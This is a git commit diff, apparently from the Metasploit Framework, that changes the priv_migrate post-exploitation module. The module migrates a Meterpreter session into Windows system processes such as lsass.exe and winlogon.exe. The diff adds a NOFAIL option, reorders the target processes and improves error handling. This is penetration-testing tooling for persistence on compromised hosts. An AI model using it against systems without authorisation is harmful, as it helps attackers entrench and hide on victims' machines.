Land #8037, priv_migrate improvements
commit
1180bd6ed7
|
@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me
|
|||
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
|
||||
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
|
||||
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
|
||||
- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE.
|
||||
|
||||
## Module Process
|
||||
Here is the process that the module follows:
|
||||
|
@ -22,11 +23,13 @@ Here is the process that the module follows:
|
|||
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
|
||||
- ANAME (Module option, if specified)
|
||||
- services.exe
|
||||
- winlogon.exe
|
||||
- wininit.exe
|
||||
- svchost.exe
|
||||
- lsm.exe
|
||||
- lsass.exe
|
||||
- If it is unable to migrate to one of these processes, it drops to user level migration.
|
||||
- winlogon.exe
|
||||
- The module will not migrate if the session has System rights and is already in one of the above target processes.
|
||||
- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE.
|
||||
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
|
||||
- NAME (Module option, if specified)
|
||||
- explorer.exe
|
||||
|
|
|
@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ]
|
||||
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
|
||||
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -19,15 +19,15 @@ class MetasploitModule < Msf::Post
|
|||
'Description' => %q{ This module will migrate a Meterpreter session based on session privileges.
|
||||
It will do everything it can to migrate, including spawing a new User level process.
|
||||
For sessions with Admin rights: It will try to migrate into a System level process in the following
|
||||
order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe.
|
||||
If all these fail, it will fall back to User level migration. For sessions with User level rights:
|
||||
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
|
||||
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
|
||||
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
|
||||
then migrate to it. It will attempt the User level processes in the following order:
|
||||
NAME (if specified), explorer.exe, then notepad.exe.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Josh Hale <jhale85446[at]gmail.com>',
|
||||
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
|
||||
'theLightCosine'
|
||||
],
|
||||
'Platform' => ['win' ],
|
||||
|
@ -36,18 +36,23 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
|
||||
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
|
||||
OptBool.new( 'KILL', [false, 'Kill original session process.', false])
|
||||
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
|
||||
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
|
||||
OptBool.new( 'KILL', [true, 'Kill original session process.', false]),
|
||||
OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
# Get current process information
|
||||
@original_pid = client.sys.process.open.pid
|
||||
@original_name = client.sys.process.open.name
|
||||
@original_name = client.sys.process.open.name.downcase
|
||||
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
|
||||
unless migrate_admin
|
||||
if is_admin? && !datastore['NOFAIL']
|
||||
print_status("NOFAIL set to false, exiting module.")
|
||||
return
|
||||
end
|
||||
migrate_user
|
||||
end
|
||||
end
|
||||
|
@ -61,7 +66,7 @@ class MetasploitModule < Msf::Post
|
|||
def get_pid(proc_name)
|
||||
processes = client.sys.process.get_processes
|
||||
processes.each do |proc|
|
||||
if proc['name'] == proc_name && proc['user'] != ""
|
||||
if proc['name'].downcase == proc_name && proc['user'] != ""
|
||||
return proc['pid']
|
||||
end
|
||||
end
|
||||
|
@ -105,9 +110,13 @@ class MetasploitModule < Msf::Post
|
|||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => error
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => req_error
|
||||
print_error("Could not migrate to #{proc_name}.")
|
||||
print_error(error.to_s)
|
||||
print_error(req_error.to_s)
|
||||
return false
|
||||
rescue ::Rex::RuntimeError => run_error
|
||||
print_error("Could not migrate to #{proc_name}.")
|
||||
print_error(run_error.to_s)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -118,12 +127,17 @@ class MetasploitModule < Msf::Post
|
|||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate_admin
|
||||
if is_admin?
|
||||
# Populate target array
|
||||
# Populate target array and Downcase all Targets
|
||||
admin_targets = DEFAULT_ADMIN_TARGETS.dup
|
||||
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
|
||||
admin_targets.map!(&:downcase)
|
||||
|
||||
if is_system?
|
||||
print_status("Session is already Admin and System.")
|
||||
if admin_targets.include? @original_name
|
||||
print_good("Session is already in target process: #{@original_name}.")
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_status("Session is Admin but not System.")
|
||||
end
|
||||
|
@ -148,9 +162,11 @@ class MetasploitModule < Msf::Post
|
|||
# @return [TrueClass] if it successfully migrated
|
||||
# @return [FalseClass] if it failed to migrate
|
||||
def migrate_user
|
||||
# Populate Target Array
|
||||
# Populate Target Array and Downcase all Targets
|
||||
user_targets = DEFAULT_USER_TARGETS.dup
|
||||
user_targets.unshift(datastore['NAME']) if datastore['NAME']
|
||||
user_targets.map!(&:downcase)
|
||||
|
||||
print_status("Will attempt to migrate to a User level process.")
|
||||
|
||||
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
|
||||
|
|
Loading…
Reference in New Issue